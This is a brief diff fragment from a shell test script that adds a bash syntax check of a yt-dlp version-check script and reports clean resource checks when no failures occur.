+    && pass "bash -n check-ytdlp-version.sh" || bad "bash -n check-ytdlp-version.sh"
 
 echo
 if [ "$fail" -eq 0 ]; then echo "resource checks: clean"; exit 0; fi